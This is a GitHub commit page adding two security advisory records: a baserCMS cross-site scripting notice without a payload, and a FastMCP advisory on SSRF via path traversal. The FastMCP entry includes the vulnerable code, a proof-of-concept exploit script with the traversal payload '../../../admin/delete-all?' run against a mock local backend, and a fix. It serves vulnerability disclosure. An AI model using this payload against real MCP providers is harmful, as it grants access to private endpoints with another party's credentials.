Skip to content

Commit 3c4c85d

Browse files
1 parent 34944e4 commit 3c4c85d

2 files changed

Lines changed: 129 additions & 0 deletions

File tree

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-677c-xv24-crgx",
4+
"modified": "2026-03-31T22:52:07Z",
5+
"published": "2026-03-31T22:52:07Z",
6+
"aliases": [
7+
"CVE-2026-32734"
8+
],
9+
"summary": "baserCMS is Vulnerable to Cross-site Scripting",
10+
"details": "baserCMS has DOM-based cross-site scripting in tag creation.\n\n### Target\nbaserCMS 5.2.2 and earlier versions\n\n### Vulnerability\n Malicious JavaScript may be executed when creating a tag.\n\n### Countermeasures\nUpdate to the latest version of baserCMS\n\nPlease refer to the following page to reference for more information.\nhttps://basercms.net/security/JVN_94952030\n\n### Credits\n\n- quanlna2 (Le Nguyen Anh Quan)\n- namdi (Do Ich Nam)\n- minhnn42 (Nguyen Ngoc Minh)\n- VCSLab - Viettel Cyber Security",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "baserproject/basercms"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "5.2.3"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 5.2.2"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-677c-xv24-crgx"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32734"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://basercms.net/security/JVN_20837860"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/baserproject/basercms"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/baserproject/basercms/releases/tag/5.2.3"
61+
}
62+
],
63+
"database_specific": {
64+
"cwe_ids": [
65+
"CWE-79"
66+
],
67+
"severity": "HIGH",
68+
"github_reviewed": true,
69+
"github_reviewed_at": "2026-03-31T22:52:07Z",
70+
"nvd_published_at": "2026-03-31T01:16:36Z"
71+
}
72+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vv7q-7jx5-f767",
4+
"modified": "2026-03-31T22:53:21Z",
5+
"published": "2026-03-31T22:53:21Z",
6+
"aliases": [
7+
"CVE-2026-32871"
8+
],
9+
"summary": "FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability",
10+
"details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n # Direct string substitution without encoding\n url_path = path_template\n for param_name, param_value in path_params.items():\n placeholder = f\"{{{param_name}}}\"\n if placeholder in url_path:\n url_path = url_path.replace(placeholder, str(param_value))\n\n # urljoin resolves ../ escape sequences\n return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n if authorization == \"Bearer admin_secret\":\n return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n # Initialize vulnerable component\n director = RequestDirector(spec={})\n base_url = \"http://127.0.0.1:8080/\"\n template = \"/api/v1/users/{id}/profile\"\n \n # Payload: Path traversal to reach /admin/delete-all\n # The '?' character neutralizes the rest of the original template\n payload = \"../../../admin/delete-all?\"\n \n # Construct malicious URL\n malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n print(f\"[*] Generated URL: {malicious_url}\")\n\n async with httpx.AsyncClient() as client:\n # Request inherits MCP provider's authorization headers\n response = await client.get(\n malicious_url, \n headers={\"Authorization\": \"Bearer admin_secret\"}\n )\n print(f\"[+] Status Code: {response.status_code}\")\n print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n url_path = path_template\n for param_name, param_value in path_params.items():\n placeholder = f\"{{{param_name}}}\"\n if placeholder in url_path:\n # Apply safe URL encoding to prevent traversal attacks\n # safe=\"\" ensures ALL special characters are encoded\n safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n url_path = url_path.replace(placeholder, safe_value)\n\n return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "fastmcp"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.2.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/PrefectHQ/fastmcp"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-918"
51+
],
52+
"severity": "CRITICAL",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-31T22:53:21Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)